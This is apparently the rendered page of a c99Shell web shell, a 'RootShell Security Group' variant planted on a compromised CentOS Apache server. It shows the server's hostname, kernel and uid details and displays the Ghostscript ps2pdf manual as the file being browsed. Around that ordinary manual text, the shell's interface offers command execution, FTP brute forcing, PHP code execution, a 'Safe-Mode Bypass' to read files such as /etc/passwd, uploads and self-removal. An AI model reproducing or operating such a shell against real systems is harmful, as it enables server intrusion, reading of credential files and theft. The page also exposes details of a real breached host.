!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/doc/ghostscript-8.15/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Ps2pdf.htm (31.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
ps2pdf: PostScript-to-PDF converter

ps2pdf: PostScript-to-PDF converter

Table of contents

For other information, see the Ghostscript overview.


Overview

ps2pdf is a work-alike for nearly all the functionality (but not the user interface) of Adobe's AcrobatTM DistillerTM product: it converts PostScript files to Portable Document Format (PDF) files.

ps2pdf is implemented as a very small command script (batch file) that invokes Ghostscript, selecting a special "output device" called pdfwrite. In order to use ps2pdf, the pdfwrite device must be included in the makefile when Ghostscript was compiled; see the documentation on building Ghostscript for details: this is currently the case on all platforms, in Ghostscript as we distribute it.


Usage

The usage for ps2pdf is

ps2pdf [options] input.[e]ps output.pdf

or, on Unix systems and some versions of Windows NT and OS/2

ps2pdf input.[e]ps

which is equivalent to

ps2pdf input.[e]ps input.pdf

There are actually several different ps2pdf* scripts: the name ps2pdf above refers to any of them.

  • ps2pdf12 produces PDF 1.2 output (Acrobat 3-and-later compatible).
  • ps2pdf13 produces PDF 1.3 output (Acrobat 4-and-later compatible).
  • ps2pdf14 produces PDF 1.4 output (Acrobat 5-and-later compatible).
  • ps2pdf per se currently produces PDF 1.2 output. However, this may change in the future. If you care about the compatibility level of the output, use ps2pdf12, ps2pdf13, or ps2pdf14, or use the -dCompatibilityLevel=1.x switch in the command line.

Note that if you specify a value for PDFSETTINGS, this chooses PDF 1.2 or 1.3 output depending on the value of PDFSETTINGS: this overrides the output format specified by the script name. You can still specify the output format by using -dCompatibilityLevel= after -dPDFSETTINGS=.

All of these scripts actually call a script named ps2pdfwr or ps2pdfxx. The Unix ps2pdfwr script assumes that the Ghostscript executable is named gs; it is unlikely that you will need to change this. The DOS and MS Windows ps2pdfxx.bat script uses the value of the GSC environment variable, if defined, as the name of the executable; otherwise the script assumes the executable is named gswin32c. So in these environments, if the executable has a different name, you must set GSC to the name of the executable.


Setting page orientation

By default Ghostscript determines viewing page orientation based on the dominant text orientation on the page. Sometimes, when the page has text in several orientations or has no text at all, wrong orientation can be selected.

Acrobat Distiller parameter AutoRotatePages controls the automatic orientation selection algorithm. On Ghostscript, besides input stream, Distiller parameters can be given as command line arguments. For instance: -dAutoRotatePages=/None or /All or /PageByPage.

When there is no text on the page or automatic page rotation is set to /None an orientation value from setpagedevice is used. Valid values are: 0 (portrait), 3 (landscape), 2 (upside down), and 1 (seascape). The orientation can be set from the command line as "-c <</Orientation 3>> setpagedevice" using Ghostscript directly but cannot be set in ps2pdf. See Limitations below.

Ghostscript passes the orientation values from DSC comments to pdfwrite driver but they are effectively ignored there. This appears to be consistent with Distiller 5 behavior.


Options

The options in the command line may include any switches that may be used with Ghostscript's PostScript and PDF interpreter (see here for a complete list), although almost none of them are useful with ps2pdf. The following may be useful:

-rresolution
Sets the resolution for pattern fills and for fonts that must be converted to bitmaps.
-dProcessColorModel=device_color_space
Sets the color space to be used for device-dependent colors in the output. device_color_space may be /DeviceGray, /DeviceRGB, or /DeviceCMYK; the default value is /DeviceRGB. Note that this does not affect images: see Limitations below.

More importantly, options may include -dparameter=value or -sparameter=string switches for setting "distiller parameters", Adobe's documented parameters for controlling the conversion process. The PostScript setdistillerparams and currentdistillerparams operators are also recognized when running ps2pdf, and provide an equivalent way to set these parameters from within the PostScript input file.

ps2pdf also recognizes the following switches:

-dCompressFonts=boolean
Defines whether ps2pdf will compress embedded fonts in the output. The default value is true; the false setting is intended only for debugging.
-dMaxInlineImageSize=integer
Specifies the maximal size of image in bytes, which ps2pdf will imbed into a context stream rather than create an XObject. The default value is 4000. Note that redundant inline images can't merge into a single object, so set a small or zero value if the source document is expected to contain multiple equal images.
-dPDFSETTINGS=configuration
Presets the "distiller parameters" to one of four predefined settings:
  • /screen selects low-resolution output similar to the Acrobat Distiller "Screen Optimized" setting.
  • /ebook selects medium-resolution output similar to the Acrobat Distiller "eBook" setting.
  • /printer selects output similar to the Acrobat Distiller "Print Optimized" setting.
  • /prepress selects output similar to Acrobat Distiller "Prepress Optimized" setting.
  • /default selects output intended to be useful across a wide variety of uses, possibly at the expense of a larger output file.
The following switches used for creating encrypted documents :
-sOwnerPassword=string
Defines that the document to be encrypted with the specified owner password.
-sUserPassword=string
Defines the user password for opening the document. If empty, the document can be opened with no password, but the owner password is required to edit it.
-dPermissions=number
Defines the PDF permissions. Negative values are allowed to represent unsigned integers with the highest bit set.
-dEncryptionR=number
Defines the encryption method revision number - either 2 or 3.
-dKeyLength=number
Defines the length (in bits) of the encryption key. Must be a multiple of 8 in the interval [40, 128]. If the length isn't 40, -dEncryptionR must be 3.

ps2pdf recognizes all of the Acrobat Distiller 5 parameters in Adobe's "Distiller Parameters" documentation. Cells in the table containing '=' mean that the value of the parameter is the same as in the "default" column.

Parameter name      Notes    default    screen    ebook    printer    prepress

AlwaysEmbed[]====
AntiAliasColorImages(0)false====
AntiAliasGrayImages(0)false====
AntiAliasMonoImages(0)false====
ASCII85EncodePagesfalse====
AutoFilterColorImages(1)true====
AutoFilterGrayImages(1)true====
AutoPositionEPSFiles(0)true====
AutoRotatePages/PageByPage/PageByPage/All/None/None
Binding(0)/Left====
CalCMYKProfile(0)()====
CalGrayProfile(0)()====
CalRGBProfile(0)()====
CannotEmbedFontPolicy(0)/Warning/Warning/Warning/Warning/Error
ColorACSImageDict(note 7)(note 10)(note 10)(note 8)(note 9)
ColorConversionStrategy(0,6)/LeaveColorUnchanged/sRGB/sRGB/UseDeviceIndependentColor/LeaveColorUnchanged
ColorImageDepth-1====
ColorImageDict(note 7)====
ColorImageFilter/DCTEncode====
ColorImageDownsampleThreshold1.5====
ColorImageDownsampleType(3)/Subsample/Average/Bicubic/Bicubic/Bicubic
ColorImageResolution7272150300300
CompatibilityLevel1.31.21.31.31.3
CompressPagestrue====
ConvertCMYKImagesToRGBtrue====
ConvertImagesToIndexed(0)true====
CoreDistVersion4000====
CreateJobTicket(0)falsefalsefalsetruetrue
DefaultRenderingIntent/Default====
DetectBlends(0)true====
DoThumbnails(0)falsefalsefalsefalsetrue
DownsampleColorImagesfalsetruetruefalsefalse
DownsampleGrayImagesfalsetruetruefalsefalse
DownsampleMonoImagesfalsetruetruefalsefalse
EmbedAllFontstruefalsetruetruetrue
EmitDSCWarnings(0)false====
EncodeColorImagestrue====
EncodeGrayImagestrue====
EncodeMonoImagestrue====
EndPage(0)-1====
GrayACSImageDict(note 7)(note 7)(note 10)(note 8)(note 9)
GrayImageDepth-1====
GrayImageDict(note 7)====
GrayImageDownsampleThreshold1.5====
GrayImageDownsampleType(3)/Subsample/Average/Bicubic/Bicubic/Bicubic
GrayImageFilter/DCTEncode====
GrayImageResolution7272150300300
ImageMemory(0)524288====
LockDistillerParamsfalse====
LZWEncodePages(2)false====
MaxSubsetPct100====
MonoImageDepth-1====
MonoImageDict<>====
MonoImageDownsampleThreshold1.5====
MonoImageDownsampleType/Subsample/Average/Bicubic/Bicubic/Bicubic
MonoImageFilter/CCITTFaxEncode====
MonoImageResolution30030030012001200
NeverEmbed(note 11)(note 12)(note 11)(note 12)(note 11)(note 12)[](note 12)[](note 12)
OffOptimizations0====
OPM1====
Optimize(0,5)falsetruetruetruetrue
ParseDSCCommentstrue====
ParseDSCCommentsForDocInfotrue====
PreserveCopyPage(0)true====
PreserveEPSInfo(0)true====
PreserveHalftoneInfofalse====
PreserveOPIComments(0)falsefalsefalsetruetrue
PreserveOverprintSettingsfalsefalsefalsetruetrue
sRGBProfile(0)()====
StartPage(0)1====
SubsetFontstrue====
TransferFunctionInfo(4)/Preserve====
UCRandBGInfo/Remove/Remove/Remove/Preserve/Preserve
UseFlateCompression(2)true====
UsePrologue(0)false====

(note 0) This parameter can be set and queried, but currently has no effect.

(note 1) Currently, AutoFilterxxxImages doesn't examine the image to decide between JPEG and LZW or Flate compression: it always uses Flate compression. If you want to force JPEG compression, use -dAutoFilterxxxImages=false.

(note 2) Because of Unisys's threats regarding the Welch patent, ps2pdf cannot actually use LZW compression: instead, it treats all requests for LZW compression as calling for Flate compression. Concomitantly, UseFlateCompression is treated as always on, and the value of this parameter is ignored as with note 0.

(note 3) The xxxDownsampleType parameters can also have the value /Bicubic (a Distiller 4 feature), which is currently treated as equivalent to /Average.

(note 4) Currently, the transfer function is always applied. If the corresponding parameter is set to /Preserve, the function setting is also copied into the PDF file.

(note 5) Optimization (linearization) is implemented with a separate program, pdfopt input.pdf output.pdf; the Optimize parameter has no effect.

(note 6) Currently, colors for images and shadings are left in the color space specified in the PostScript input, except for ConvertCMYKImagesToRGB; the current color in the graphics state (used for fill, stroke, text, and imagemask) is always converted to the color space specified by the current value of ProcessColorModel. The intended behavior is the same as for Acrobat Distiller, except that if ColorConversionStrategy is set to /UseDeviceDependentColor, colors are converted to the color space specified by ProcessColorModel rather than always to /DeviceRGB.

(note 7) The default image parameter dictionary is

<< /QFactor 0.9 /Blend 1 /HSamples [2 1 1 2] /VSamples [2 1 1 2] >>

(note 8) The printer ACS image parameter dictionary is

<< /QFactor 0.4 /Blend 1 /ColorTransform 1 /HSamples [1 1 1 1] /VSamples [1 1 1 1] >>

(note 9) The prepress ACS image parameter dictionary is

<< /QFactor 0.15 /Blend 1 /ColorTransform 1 /HSamples [1 1 1 1] /VSamples [1 1 1 1] >>

(note 10) The screen and ebook ACS image parameter dictionary is

<< /QFactor 0.76 /Blend 1 /ColorTransform 1 /HSamples [2 1 1 2] /VSamples [2 1 1 2] >>

(note 11) The default, screen, and ebook settings never embed the 14 standard fonts (Courier, Helvetica, and Times families, Symbol, and ZapfDingbats).

(note 12) NeverEnbed can include CID font names. If a CID font is substituted in lib/cidfmap, the substitute font name is used when the CID font is embedded, and the original CID font name is used when it is not embedded. NeverEnbed should always specify the original CID font name.


Ghostscript PDF Printer Description

To assist with creating a PostScript file suitable for conversion to PDF, ghostscript includes ghostpdf.ppd, a PostScript Printer Description (PPD) file. This allows some distiller parameters to be set when a PostScript file is generated.

Windows XP or 2000

To install a "Ghostscript PDF" printer on Windows XP, select the Windows Control Panel, Printers and Faxes, Add a Printer, Local Printer, Use port FILE: (Print to File), Have Disk..., select the directory containg ghostpdf.ppd and ghostpdf.inf, select "Ghostscript PDF", Replace existing driver (if asked), and answer the remaining questions appropriately. After installing, open the "Ghostscript PDF" properties, select the Device Settings tab, set "Mimimum Font Size to Download as Outline" to 0 pixels.

To set distiller parameters, select the "Ghostscript PDF" Printing Preferences, then the Advanced button. The PDF settings are under "Printer Features".


Limitations

ps2pdf will sometimes convert text to high-resolution bitmapped fonts rather than to embedded outline fonts. This will occur when the PostScript file uses Type 3, CIDFontType 1, or CIDFontType 4 fonts, or Type 0 fonts that reference any of these; it may also occur in some cases if the input file uses fonts with non-standard encodings, or in some other rare cases.

The PDF output always represents the colors of text and graphics in DeviceGray or DeviceRGB color space (or DeviceCMYK if the ProcessColorModel parameter has been set to /DeviceCMYK); all other color spaces are converted to these. However, for images, it will retain the original color space for DeviceGray, DeviceRGB, DeviceCMYK, certain CIEBased spaces, and Indexed spaces based on these.

ps2pdf will sometimes convert PostScript constructs to lower-level ones, even if a higher-level construct is available. For example, if the PostScript file uses charpath to set a clipping path consisting of text, ps2pdf will write the clipping path as a path in the PDF file, rather than as text, even though PDF is able to express clipping with text. This is only a performance issue, and will be improved incrementally over time.

Some applications, such as HIGZ, produce PostScript files that use ridiculously large coordinates. On such files, ps2pdf may cause a limitcheck error. If this occurs, try reducing the default internal resolution of 720 dpi by using the -r switch, e.g., ps2pdf -r300 somefile.ps.

ps2pdf ignores the PDF 1.3 (Acrobat 4.x) pdfmarks related to document content structure: StRoleMap, StClassMap, StPNE, StBookmarkRoot, StPush, StPop, StPopAll, StBMC, StBDC, EMC, StOBJ, StAttr, StStore, StRetrieve, NamespacePush, NamespacePop, and NI. While this causes some structural information to be omitted from the output file, the displayed and printed output are normally not affected.

ps2pdf currently has only very limited support for PDF 1.4. It writes out the blend mode, constant alpha, and text knockout graphics state parameters, and it handles images with soft masks, but it does not handle transparency groups, or soft masks in the graphics state. (Note that there is no standard way to specify any of these things in PostScript, so these statements only apply when the input file is already a PDF 1.4 file.)

ps2pdf provides simplified interface to Ghostscript command line. It is not possible to use -c option or pass multiple source files. For the unrestricted access to the command line parameters, use Ghostscript directly.

gs -q -dSAFER -dNOPAUSE -dBATCH -sOutputFile=file.pdf [more options] \
  -sDEVICE=pdfwrite -c .setpdfwrite -f
source1.ps [more files]

Known problems

Distiller parameters should only be saved by save and restored by restore, but they are also saved by gsave and restored by grestore.

Changing the value of the CompressPages parameter after any marks have been made on the page may cause a crash.


Comparison of ps2pdf and Acrobat Distiller

According to users, the greatest benefit of ps2pdf is that it is more robust than Acrobat Distiller: it will process complex and difficult PostScript files that Acrobat Distiller is not able to handle.

For certain documents, ps2pdf is much faster than Adobe Distiller, and may be suitable for run-time conversions. George White, a heavy user of ps2pdf, remarks:

I haven't seen a head to head comparison, but Distiller seems slower when running on what should be a faster system (for instance, Distiller on a PPC Mac vs a 25 MHz 68040 NeXT running ps2pdf), so I think this is fair -- also, one of Mark Doyle's postings indicated that Distiller was not fast enough for use as a run-time server. In contrast, I find that I can use ps2pdf as a post-processor during routine document creation.

On the other hand, there are some documents for which ps2pdf may be much slower than Acrobat Distiller. Caveat user.

ps2pdf usually produces output that is comparable in size to the output of Acrobat Distiller; however, it sometimes produces much larger output, especially if the input file involves pattern fills.

Many users report that the combination of ps2pdf with Acrobat Reader is superior to using a generic PostScript viewer (psview or ghostview), particularly for documents with many pages where the navigational support in PDF files reduces the overhead involved in navigating conventional PostScript documents.


Acknowledgments

Thanks to George N. White III <aa056@chebucto.ns.ca> of the Ocean Sciences Division of the Bedford Institute of Oceanography in Dartmouth, Nova Scotia for extensive testing of early versions of ps2pdf, and for contributing most of this writeup.

Thanks to Martin Hosken of SIL International <http://www.sil.org> for help with testing ps2pdf with a wide variety of international fonts.


Copyright © 1996, 2000 Aladdin Enterprises. All rights reserved.

This software is provided AS-IS with no warranty, either express or implied. This software is distributed under license and may not be copied, modified or distributed except as expressly authorized under the terms of the license contained in the file LICENSE in this distribution. For more information about licensing, please refer to http://www.ghostscript.com/licensing/. For information on commercial licensing, go to http://www.artifex.com/licensing/ or contact Artifex Software, Inc., 101 Lucas Valley Road #110, San Rafael, CA 94903, U.S.A., +1(415)492-9861.

Ghostscript version 8.15, 22 September 2004


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0087 ]--